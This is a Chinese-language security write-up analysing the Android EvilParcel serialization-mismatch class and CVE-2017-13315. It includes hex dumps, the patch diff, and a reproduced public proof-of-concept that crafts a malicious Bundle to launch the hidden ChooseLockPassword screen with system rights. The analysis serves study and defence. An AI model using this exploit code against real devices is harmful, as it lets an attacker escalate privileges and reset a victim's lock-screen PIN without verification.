引言
今年年初,国内独立研究机构DarkNavy发表文章,指出某知名购物APP中存在漏洞攻击行为。这引起了广泛的关注和讨论。值得注意的是,其中涉及到一个已被编号为CVE-2017-13315的Android系统漏洞,这个漏洞在我们的研究中引起了浓厚的兴趣。CVE-2017-13315是一个已知的Android系统漏洞,其利用了Parcelable对象的序列化和反序列化过程中的不一致性。这种不一致性可能导致任意代码执行的风险,从而绕过手机系统的保护机制,实现对用户设备的潜在攻击。该漏洞的危害性较高,攻击者可以利用它隐蔽地安装和卸载恶意应用程序,对用户的隐私和安全造成严重威胁。
早在2018年,国内就有安全工作者对这个漏洞进行了研究分析,我们在这基础上做了一些研究和补充。
EvilParcel 漏洞原理
1. 什么是EvilParcel漏洞
EvilParcel漏洞是指在Android IPC通信中,由于Parcelable对象的序列化和反序列化过程中的不一致性而导致解析错误的安全问题。它在近年来成为一个重要的安全问题,影响着Android设备的安全性。在Android中,Parcelable是一种用于在进程间通信(IPC)中传递数据的关键组件。它允许对象在不同的进程之间进行序列化和反序列化,以便进行跨进程的数据传输。当一个Parcelable对象在反序列化过程中使用in.readInt()
来读取数据,而在序列化过程中却使用dest.writeLong()
来写入数据时,就会导致两次操作的不一致性。这种不一致性会导致在序列化后的二进制表示中多出4个字节的0。由于这额外的4个字节,后续的解析过程会发生整体向后偏移4个字节的情况,从而导致解析异常。恶意攻击者可以利用这个漏洞通过精心构建的序列化数据来执行未授权的操作。这种错位的错误使得攻击者能够绕过安全检查,修改数据,执行未授权的代码,并可能导致权限提升。
2.深入剖析 EvilParcel 漏洞的细节
- 正常的Parcel序列化
为了更清楚地理解漏洞的原因,我们可以通过一个Bundle对象的示例来说明序列化后的二进制格式。只有对序列化解析方式有足够的了解,才能更深入地理解该漏洞的原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
Bundle topsec =new Bundle(); topsec.putInt("key1", 0x1337); topsec.putString("key2", "hello"); topsec.putLong("key3", 0x012345678); topsec.putInt("key4",0x11111); topsec.putByteArray("key5","testt".getBytes()); Parcel topsecoutput = Parcel.obtain(); topsecoutput.writeBundle(topsec); topsecoutput.setDataPosition(0); byte[] topsec_out = topsecoutput.marshall(); try{ FileOutputStream fileOutputStream = new FileOutputStream(MainActivity.this.getCacheDir()+File.separator+"topsec_output.plc"); fileOutputStream.write(topsec_out); fileOutputStream.close(); }catch (Exception e){ e.printStackTrace(); } |
Bundle序列化时,键值对以key-value形式存储,不同的value类型会使用Parcel内置的值来表示。
通过手动解析二进制文件来理解Parcel的序列化和反序列化过程。手动解析二进制文件可以帮助我们了解其中的细节和数据结构,从而更好地理解EvilParcel漏洞的产生原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
00000000: 9400 0000 424e 444c 0500 0000 0400 0000 ....BNDL........ 00000010: 6b00 6500 7900 3100 0000 0000 0100 0000 k.e.y.1......... 00000020: 3713 0000 0400 0000 6b00 6500 7900 3200 7.......k.e.y.2. 00000030: 0000 0000 0000 0000 0500 0000 6800 6500 ............h.e. 00000040: 6c00 6c00 6f00 0000 0400 0000 6b00 6500 l.l.o.......k.e. 00000050: 7900 3300 0000 0000 0600 0000 7856 3412 y.3.........xV4. 00000060: 0000 0000 0400 0000 6b00 6500 7900 3400 ........k.e.y.4. 00000070: 0000 0000 0100 0000 1111 0100 0400 0000 ................ 00000080: 6b00 6500 7900 3500 0000 0000 0d00 0000 k.e.y.5......... 00000090: 0500 0000 7465 7374 7400 0000 ....testt... 序列化包大小:9400 0000 序列化magic:424e 444c key/value个数:0400 0000 [0]key大小:0400 0000 [0]key的值:6b00 6500 7900 3100 [0]value的类型:0100 0000 [0]value的值:3713 0000 [1]key大小:0400 0000 [1]key的值:6b00 6500 7900 3200 [1]value的类型:0000 0000 // string类型 [1]value的长度:0500 0000 [1]value的值:6800 6500 6c00 6c00 6f00 0000 [2]key大小:0400 0000 [2]key的值:6b00 6500 7900 3300 [2]value的类型:0600 0000 [2]value的值:7856 3412 0000 0000 [3]key大小:0400 0000 [3]key的值:6b00 6500 7900 3400 [3]value的类型:0100 0000 [3]value的值:1111 0100 [4]key大小:0400 0000 [4]key的值:6b00 6500 7900 3500 [4]value的类型:0d00 0000 // bytearray 类型 [4]value的长度:0500 0000 [4]value的值:7465 7374 7400 0000 |
序列化后的二进制格式通常包括以下内容:包大小、魔数、键值对数量、键大小、键/值、值类型、[值长度]、值。
在Parcel的序列化过程中,首先会将数据转换为二进制格式。二进制格式的结构通常如下:
1. 包大小(Package Size):用于表示整个包的大小,包括所有序列化的数据和元信息。
2. 魔数(Magic Number):一个特定的标识符,用于识别Parcel数据的有效性和版本。
3. 键值对数量(Number of Key-Value Pairs):表示序列化数据中包含的键值对的数量。
4. 键大小(Key Size):表示每个键的长度。
5. 键/值(Key/Value):包含键和对应的值。
6. 值类型(Value Type):用于标识值的数据类型,例如字符串、整数等。
7. [值长度](Value Length):根据值类型可能会有的长度信息。
8. 值(Value):根据值类型存储的具体值。
数组类型、 parcelable类型等会多出一个value长度。
Bundle序列化的特定功能:
在Bundle的序列化过程中,所有键值对都按顺序写入。在每个值之前,会指示该值的数据类型(例如,13表示字节数组,1表示整数,0表示字符串等)。对于可变长度的数据,会在数据之前指示其大小(例如,字符串的长度,数组的字节数)。此外,所有的值都会进行4字节对齐。Bundle的序列化过程如下:首先,写入一个整型的size,表示整个Bundle的大小。然后,按顺序依次写入每个键和值。在写入值时,会使用writeValue方法,该方法会根据对象的类型分别写入一个代表类型的整数以及具体的数据。
所支持的类型如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h. private static final int VAL_NULL = -1; private static final int VAL_STRING = 0; private static final int VAL_INTEGER = 1; private static final int VAL_MAP = 2; private static final int VAL_BUNDLE = 3; private static final int VAL_PARCELABLE = 4; private static final int VAL_SHORT = 5; private static final int VAL_LONG = 6; private static final int VAL_FLOAT = 7; private static final int VAL_DOUBLE = 8; private static final int VAL_BOOLEAN = 9; private static final int VAL_CHARSEQUENCE = 10; private static final int VAL_LIST = 11; private static final int VAL_SPARSEARRAY = 12; private static final int VAL_BYTEARRAY = 13; private static final int VAL_STRINGARRAY = 14; private static final int VAL_IBINDER = 15; private static final int VAL_PARCELABLEARRAY = 16; private static final int VAL_OBJECTARRAY = 17; private static final int VAL_INTARRAY = 18; private static final int VAL_LONGARRAY = 19; private static final int VAL_BYTE = 20; private static final int VAL_SERIALIZABLE = 21; private static final int VAL_SPARSEBOOLEANARRAY = 22; private static final int VAL_BOOLEANARRAY = 23; private static final int VAL_CHARSEQUENCEARRAY = 24; private static final int VAL_PERSISTABLEBUNDLE = 25; private static final int VAL_SIZE = 26; private static final int VAL_SIZEF = 27; |
- EvilParcel漏洞
EvilParcel漏洞的产生是由于Parcelable对象在序列化和反序列化过程中的不一致性所导致的。举个例子,考虑以下的MyParcelable对象,当它进行反序列化时使用了in.readInt()
来读取数据,而在序列化过程中却使用了dest.writeLong()
来写入数据。这两次操作的不一致性会导致MyParcelable对象在序列化后的二进制表示中多出4个字节的0。由于这额外的4个字节,后续的解析过程会发生整体向后偏移4个字节的情况,进而导致解析异常。然而,通过巧妙构造的序列化数据,利用这种偏移错误,可以执行未经授权的操作,这就是EvilParcel漏洞产生的根本原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
public class MyParcelable implements Parcelable { private long mData; protected MyParcelable(){ } protected MyParcelable(Parcel in) { mData = in.readInt(); } public static final Creator<Vulnerable> CREATOR = new Creator<Vulnerable>() { @Override public Vulnerable createFromParcel(Parcel in) { return new MyParcelable(in); } @Override public Vulnerable[] newArray(int size) { return new MyParcelable[size]; } }; @Override public int describeContents() { return 0; } @Override public void writeToParcel(@NonNull Parcel dest, int flags) { dest.writeLong(mData); } } |
使用Parcel进行序列化时,我们可以创建三个键值对。其中,第一个键值对使用com.topsec.test2.MyParcelable作为值的类型,第二个键值对创建一个带有有效负载的字节数组(bytearray)作为值,第三个键值对可以填充任意值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
Parcel data = Parcel.obtain(); data.writeInt(3); // 3 entries data.writeString("vuln_class"); data.writeInt(4); // value is Parcelable data.writeString("com.topsec.test2.MyParcelable"); data.writeInt(0); // data.length data.writeInt(1); // key length -> key value data.writeInt(6); // key value -> value is long data.writeInt(0xD); // value is bytearray -> low(long) data.writeInt(-1); // bytearray length dummy -> high(long) int startPos = data.dataPosition(); data.writeString("hidden"); // bytearray data -> hidden key data.writeInt(0); // value is string data.writeString("Hi there"); // hidden value int endPos = data.dataPosition(); int triggerLen = endPos - startPos; data.setDataPosition(startPos - 4); data.writeInt(triggerLen); // overwrite dummy value with the real value data.setDataPosition(endPos); data.writeString("A padding"); data.writeInt(0); // value is string data.writeString("to match pair count"); int length = data.dataSize(); Parcel bndl = Parcel.obtain(); bndl.writeInt(length); bndl.writeInt(0x4C444E42); // bundle magic bndl.appendFrom(data, 0, length); bndl.setDataPosition(0); Bundle bundle = new Bundle(this.getClass().getClassLoader()); bundle.readFromParcel(bndl); Set<String> test = bundle.keySet(); |
序列化后的示意图:
在key[1]的value中添加隐藏的键值对数据,当进行反序列化和再序列化之后,这个隐藏的键值对就会被解析出来。
第一次序列化后的二进制文件如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
00000000: f000 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........ 00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a. 00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s............. 00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s. 00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2. 00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e. 00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e....... 00000070: 0100 0000 0600 0000 0d00 0000 3000 0000 ............0... 00000080: 0600 0000 6800 6900 6400 6400 6500 6e00 ....h.i.d.d.e.n. 00000090: 0000 0000 0000 0000 0800 0000 4800 6900 ............H.i. 000000a0: 2000 7400 6800 6500 7200 6500 0000 0000 .t.h.e.r.e..... 000000b0: 0900 0000 4100 2000 7000 6100 6400 6400 ....A. .p.a.d.d. 000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000 i.n.g........... 000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800 t.o. .m.a.t.c.h. 000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00 .p.a.i.r. .c.o. 000000f0: 7500 6e00 7400 0000 u.n.t... |
第二次序列化Bundle,然后再次对其进行反序列化查看解析的key。
1 2 3 4 5 6 |
Parcel newParcel = Parcel.obtain(); newParcel.writeBundle(bundle); newParcel.setDataPosition(0); Bundle bundletest = new Bundle(this.getClass().getClassLoader()); bundletest.readFromParcel(newParcel); Set<String> test2 = bundletest.keySet(); |
二进制文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
00000000: f400 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........ 00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a. 00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s............. 00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s. 00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2. 00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e. 00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e....... 00000070: 0000 0000 0100 0000 0600 0000 0d00 0000 ................ 00000080: 3000 0000 0600 0000 6800 6900 6400 6400 0.......h.i.d.d. 00000090: 6500 6e00 0000 0000 0000 0000 0800 0000 e.n............. 000000a0: 4800 6900 2000 7400 6800 6500 7200 6500 H.i. .t.h.e.r.e. 000000b0: 0000 0000 0900 0000 4100 2000 7000 6100 ........A. .p.a. 000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000 d.d.i.n.g....... 000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400 ....t.o. .m.a.t. 000000e0: 6300 6800 2000 7000 6100 6900 7200 2000 c.h. .p.a.i.r. . 000000f0: 6300 6f00 7500 6e00 7400 0000 c.o.u.n.t... |
在进行两次序列化后,出现了一个名为”hidden”的键。原本该键的值是一个字节数组(bytearray),但现在它被错误地解析成了一个键。这种不一致性可能是由于序列化和反序列化过程中的错误操作或数据结构问题导致的。在第一次序列化时,”hidden”键的值被错误地处理,导致在第二次序列化和反序列化后,它被错误地解释为一个键,而不是之前的字节数组值。
通过手工分析两次序列化的二进制内容,比较第一次序列化和第二次序列化的解析不同。
手工分析第一次序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
00000000: f000 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........ 00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a. 00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s............. 00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s. 00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2. 00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e. 00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e....... 00000070: 0100 0000 0600 0000 0d00 0000 3000 0000 ............0... 00000080: 0600 0000 6800 6900 6400 6400 6500 6e00 ....h.i.d.d.e.n. 00000090: 0000 0000 0000 0000 0800 0000 4800 6900 ............H.i. 000000a0: 2000 7400 6800 6500 7200 6500 0000 0000 .t.h.e.r.e..... 000000b0: 0900 0000 4100 2000 7000 6100 6400 6400 ....A. .p.a.d.d. 000000c0: 6900 6e00 6700 0000 0000 0000 1300 0000 i.n.g........... 000000d0: 7400 6f00 2000 6d00 6100 7400 6300 6800 t.o. .m.a.t.c.h. 000000e0: 2000 7000 6100 6900 7200 2000 6300 6f00 .p.a.i.r. .c.o. 000000f0: 7500 6e00 7400 0000 u.n.t... 序列化包大小:f0000000 序列化 magic:424e444c key/value 个数:03000000 [0] Key 大小:0a000000 [0] Key 的值:760075006c006e005f0063006c00610073007300 [0] Value 的类型:04000000 [0] Value 的长度:1d00 0000 [0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 .. 6c00 6100 6200 6c00 6500 0000 0000 0000 [1] key 大小:0100 0000 [1] key 的值:0600 0000 [1] Value 的类型:0d00 0000 // bytearray 类型 [1] Value 的长度:3000 0000 [1] Value 的值:0600 0000 6800 6900 6400 6400 6500 6e00 ... 2000 7400 6800 6500 7200 6500 0000 0000 [2] key 大小:0900 0000 [2] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700 [2] Value 的类型: 0000 [2] Value 的长度:1300 0000 [2] Value 的值:7400 6f00 2000 6d00 6100 7400 6300 6800 2000 7000 6100 6900 7200 2000 6300 6f00 ... |
手工解析出三组key-value值,此时payload还存在于key[1]的value中没有被解析出来。
第二次序列化时解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
00000000: f400 0000 424e 444c 0300 0000 0a00 0000 ....BNDL........ 00000010: 7600 7500 6c00 6e00 5f00 6300 6c00 6100 v.u.l.n._.c.l.a. 00000020: 7300 7300 0000 0000 0400 0000 1d00 0000 s.s............. 00000030: 6300 6f00 6d00 2e00 7400 6f00 7000 7300 c.o.m...t.o.p.s. 00000040: 6500 6300 2e00 7400 6500 7300 7400 3200 e.c...t.e.s.t.2. 00000050: 2e00 4d00 7900 5000 6100 7200 6300 6500 ..M.y.P.a.r.c.e. 00000060: 6c00 6100 6200 6c00 6500 0000 0000 0000 l.a.b.l.e....... 00000070: 0000 0000 0100 0000 0600 0000 0d00 0000 ................ 00000080: 3000 0000 0600 0000 6800 6900 6400 6400 0.......h.i.d.d. 00000090: 6500 6e00 0000 0000 0000 0000 0800 0000 e.n............. 000000a0: 4800 6900 2000 7400 6800 6500 7200 6500 H.i. .t.h.e.r.e. 000000b0: 0000 0000 0900 0000 4100 2000 7000 6100 ........A. .p.a. 000000c0: 6400 6400 6900 6e00 6700 0000 0000 0000 d.d.i.n.g....... 000000d0: 1300 0000 7400 6f00 2000 6d00 6100 7400 ....t.o. .m.a.t. 000000e0: 6300 6800 2000 7000 6100 6900 7200 2000 c.h. .p.a.i.r. . 000000f0: 6300 6f00 7500 6e00 7400 0000 c.o.u.n.t... 序列化包大小:f4000000 序列化 magic:424e444c key/value 个数:03000000 [0] key 的大小:0a00 0000 [0] Key 的值:7600 7500 6c00 6e00 5f00 6300 6c00 6100 7300 7300 [0] Value 的类型:0400 0000 // VAL_PARCELABLE parcelable类型 [0] Value 的长度:1d00 0000 [0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 ... 6c00 6100 6200 6c00 6500 0000 0000 0000 [1] key 的大小:0000 0000 [1] key 的值:0100 0000 [1] Value的类型:0600 0000 // VAL_LONG long类型 [1] value的值:0d00 0000 3000 0000 [2] key 的大小:0600 0000 [2] key 的值:6800 6900 6400 6400 6500 6e00 [2] Value的类型:0000 0000 // VAL_STRING string 类型 [2] Value的长度:0800 0000 [2] Value的值:4800 6900 2000 7400 6800 6500 7200 6500 --- 这个key-value被抛弃 --- [3] key 的大小:0900 0000 [3] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700 [3] Value的类型:0000 // VAL_STRING string 类型 [3] Value的长度:1300 0000 [3] Value的长度:7400 6f00 2000 6d00 6100 7400 ... 6300 6f00 7500 6e00 7400 0000 |
在进行调试时可以观察到原本位于key[1]的数据已成功解析,并且通过调试还可以确认key[2]的键名为”hidden”。由于序列化包头部指定了三对key-value,因此原本位于key[3]的键值对被丢弃了。(当前是序列化的文件解析,反序列化时key[1]的解析会报错但是会被捕获不会造成崩溃。)
[1] key的大小为0还是会读出key的值,如下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
// frameworks/native/libs/binder/Parcel.cpp status_t Parcel::readString16(String16* pArg) const { size_t len; const char16_t* str = readString16Inplace(&len); if (str) { pArg->setTo(str, len); return 0; } else { *pArg = String16(); return UNEXPECTED_NULL; } } const char16_t* Parcel::readString16Inplace(size_t* outLen) const { int32_t size = readInt32(); // watch for potential int overflow from size+1 if (size >= 0 && size < INT32_MAX) { *outLen = size; // 当size为0时readInplace(4) const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t)); if (str != NULL) { return str; } } *outLen = 0; return NULL; } |
在第二次序列化之后多出 0000 0000 导致之后所有的解析都偏移0×4字节。示意图如下:
由于在第一次反序列化时,隐藏的key没有显示出来,这是因为在反序列化过程中使用的是in.readInt()
方法,它只会读取4个字节的数据。而在序列化过程中,由于错误的写入操作使用了dest.writeLong()
方法,它会写入8个字节的数据。这就导致了在第一次反序列化时,只读取了4个字节的数据,而隐藏的key并没有被完整解析和显示出来。然而,在序列化后再进行反序列化时,由于之前的序列化错误导致了额外的4个字节(即多写了4字节的0)。这些额外的字节会在反序列化过程中被解析,并被误认为是隐藏的key的一部分。因此,在第二次反序列化时,隐藏的key被正确解析并显示出来。这种不匹配的读写操作导致了整体的偏移,从而导致隐藏的key在第一次反序列化时未能正确显示。而在第二次反序列化时,由于解析过程中的偏移修复,隐藏的key才能被完整解析并恢复。
案例分析
1. CVE-2017-13315 反序列化漏洞分析
CVE-2017-13315是一个典型的 EvilParcel 漏洞案例,它对Android操作系统中的Binder组件产生了影响。具体表现为在Parcelable对象的写入和读取过程中存在不一致,导致后续的key-value解析错位。这个漏洞于2017年被安全研究人员发现并报告。成功利用CVE-2017-13315漏洞的攻击者可以实现对目标应用程序的完全控制。攻击者可以利用该漏洞读取、修改或删除敏感数据,执行任意系统命令,甚至在用户不知情的情况下安装恶意应用程序。该漏洞的根本原因在于Binder组件在处理Parcelable对象时的错误解析和解构过程,导致数据错位和不一致。攻击者可以通过构造特定的恶意Parcelable对象,利用这种不一致性来欺骗目标应用程序,从而实现任意代码执行和攻击目标。
2. 漏洞产生原因和利用方式
2018年5月份修复的CVE-2017-13315在DcParmObject类中。
https://android.googlesource.com/platform/frameworks/base/+/35bb911d4493ea94d4896cc42690cab0d4dbb78f
1 2 3 4 5 6 7 8 9 10 11 12 13 |
diff --git a/telephony/java/com/android/internal/telephony/DcParamObject.java b/telephony/java/com/android/internal/telephony/DcParamObject.java index 139939c..fc6b610 100644 --- a/telephony/java/com/android/internal/telephony/DcParamObject.java +++ b/telephony/java/com/android/internal/telephony/DcParamObject.java @@ -36,7 +36,7 @@ } public void writeToParcel(Parcel dest, int flags) { - dest.writeLong(mSubId); + dest.writeInt(mSubId); } private void readFromParcel(Parcel in) { |
原因是DcParamObject对象中的writeToParcel和readFromParcel方法不匹配。writeToParcel方法在序列化过程中多写入了一个额外的”0000″数据。这种写入方式导致序列化和反序列化的数据不一致,进而影响了第二次反序列化时的解析过程。由于解析错位,隐藏的key-value数据得以出现,从而绕过了第一次反序列化时的安全检测。
1 2 3 4 5 6 |
public void writeToParcel(Parcel dest, int flags) { dest.writeLong(mSubId); } private void readFromParcel(Parcel in) { mSubId = in.readInt(); } |
攻击者可以构造一个恶意的Android应用程序,通过发送恶意的Bundle到Settings应用中,从而利用EvilParcel漏洞控制Settings执行系统权限的操作。在构造Bundle时,Android应用程序会创建三个键值对。第一个键值对是正常的、合法的数据,用于掩盖恶意操作。第二个键值对的值会被精心构造,其中包含恶意的payload,即攻击者想要在Settings应用中执行的系统权限操作。这个恶意的payload可能包括修改系统设置、获取敏感信息等恶意行为。而第三个键值对只是用来占位的,其键和值可以随意填写,没有实际作用。当这个恶意的Bundle被发送到Settings应用时,Settings应用会进行序列化操作,并将其存储在内存中。然后,在反序列化时,由于EvilParcel漏洞的存在,读取操作与写入操作不匹配,多出的4个字节的0导致解析偏移。这样,恶意的payload会被解析为Settings应用的操作指令,从而执行系统权限的操作。
示意图:
App发送的Bundle首先会到system_server中进行反序列化检查。这个反序列化检查是为了防止潜在的安全漏洞和恶意行为。在这里,与2013年相关的错误7699048打了一个补丁,也被称为Launch AnyWhere。该补丁的目的是防止第三方应用程序通过系统用户越权调用。system_server会对应用的数字签名进行验证,以确保其合法性和可信性。如果验证成功,system_server会将Bundle传输到IAccountManagerResponse.onResult()方法,并通过IPC机制调用onResult()。在这个过程中,系统会对Bundle进行二次序列化,以便在不同进程间传递数据。这种两次序列化的过程是为了增强安全性。第一次序列化和反序列化发生在系统边界内,由system_server负责处理,可以对数据进行验证和过滤,以确保只有合法的、经过授权的应用程序能够访问和操作数据。第二次序列化发生在IPC通信过程中,确保数据的安全传输和完整性。通过这种机制,系统能够有效地控制和管理应用程序之间的数据传输,防止恶意应用程序利用Bundle的序列化和反序列化过程进行攻击或滥用系统权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
private class Response extends IAccountManagerResponse.Stub { public void onResult(Bundle bundle) { Intent intent = bundle.getParcelable(KEY_INTENT); if (intent != null && mActivity != null) { mActivity.startActivity(intent); } ... } ... } |
在调用onResult()函数时,由于二次序列化的过程,隐藏在key[1]中的value中的恶意payload将被显示出来。这意味着KEY_INTENT的值存在,并且可以被访问和利用。由于当前进程是系统用户,因此成功启动任意Activity成为可能。这相当于从用户权限提升至系统权限。通过利用这个漏洞,可以结合其他组件和功能来实现系统权限的写入和读取操作。例如,通过启动任意Activity,可以访问系统设置、修改系统配置、获取敏感信息等。此外,还可以利用系统权限执行恶意代码、篡改系统文件、获得持久性访问权限等。
二次序列化示意图:
如下是网上开源的poc代码,该代码成功执行后会调用隐藏的重置PIN密码界面,而在这个界面输入新的PIN密码将能够覆盖旧的PIN码,而无需进行验证。这是因为普通的App应用程序通常没有权限来调用该界面。在正常情况下,即使在用户界面上手动点击打开PIN重置密码选项,也需要先验证原始PIN密码后才能输入新的PIN密码。这种漏洞的存在使得攻击者能够绕过正常的安全措施,直接修改设备的PIN密码而无需进行必要的验证流程。这可能导致个人隐私的泄露、设备数据的访问和篡改,甚至可能导致设备被完全控制和滥用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
Bundle evilBundle = new Bundle(); Parcel bndlData = Parcel.obtain(); Parcel pcelData = Parcel.obtain(); // Manipulate the raw data of bundle Parcel // Now we replace this right Parcel data to evil Parcel data pcelData.writeInt(3); // number of elements in ArrayMap /*****************************************/ // mismatched object pcelData.writeString("mismatch"); pcelData.writeInt(4); // VAL_PACELABLE pcelData.writeString("com.android.internal.telephony.DcParamObject"); // name of Class Loader pcelData.writeInt(1);//mSubId pcelData.writeInt(1); pcelData.writeInt(6); pcelData.writeInt(13); //pcelData.writeInt(0x144); //length of KEY_INTENT:evilIntent pcelData.writeInt(-1); // dummy, will hold the length int keyIntentStartPos = pcelData.dataPosition(); // Evil object hide in ByteArray pcelData.writeString(AccountManager.KEY_INTENT); pcelData.writeInt(4); pcelData.writeString("android.content.Intent");// name of Class Loader pcelData.writeString(Intent.ACTION_RUN); // Intent Action Uri.writeToParcel(pcelData, null); // Uri is null pcelData.writeString(null); // mType is null pcelData.writeInt(0x10000000); // Flags pcelData.writeString(null); // mPackage is null pcelData.writeString("com.android.settings"); pcelData.writeString("com.android.settings.password.ChooseLockPassword"); pcelData.writeInt(0); //mSourceBounds = null pcelData.writeInt(0); // mCategories = null pcelData.writeInt(0); // mSelector = null pcelData.writeInt(0); // mClipData = null pcelData.writeInt(-2); // mContentUserHint pcelData.writeBundle(null); int keyIntentEndPos = pcelData.dataPosition(); int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos; pcelData.setDataPosition(keyIntentStartPos - 4); // backpatch length of KEY_INTENT pcelData.writeInt(lengthOfKeyIntent); pcelData.setDataPosition(keyIntentEndPos); Log.d(TAG, "Length of KEY_INTENT is " + Integer.toHexString(lengthOfKeyIntent)); /////////////////////////////////////// pcelData.writeString("Padding-Key"); pcelData.writeInt(0); // VAL_STRING pcelData.writeString("Padding-Value"); // int length = pcelData.dataSize(); Log.d(TAG, "length is " + Integer.toHexString(length)); bndlData.writeInt(length); bndlData.writeInt(0x4c444E42); bndlData.appendFrom(pcelData, 0, length); bndlData.setDataPosition(0); evilBundle.readFromParcel(bndlData); |
成功执行后,该poc代码将启动settings中隐藏的ChooseLockPassword界面。这个界面是Android系统中的一个重要设置界面,用于选择和设置设备的锁屏密码。正常情况下,只有经过授权的用户或具有相应权限的应用程序才能访问和修改此界面。然而,由于漏洞的存在,攻击者可以利用该poc代码来绕过正常的权限限制,直接启动隐藏的ChooseLockPassword界面。在这个界面上,攻击者可以输入新的PIN密码,而无需进行原始密码的验证。这使得攻击者能够修改设备的锁屏密码,从而获得对设备的控制权。
参考:
1、Bundle风水——Android序列化与反序列化不匹配漏洞详解 https://xz.aliyun.com/t/2364?page=1
2、EvilParcel vulnerabilities analysis https://habr.com/en/companies/drweb/articles/457610/#:~:text=CVE%2D2017%2D13315%20belongs%20to,between%20apps%20and%20the%20system.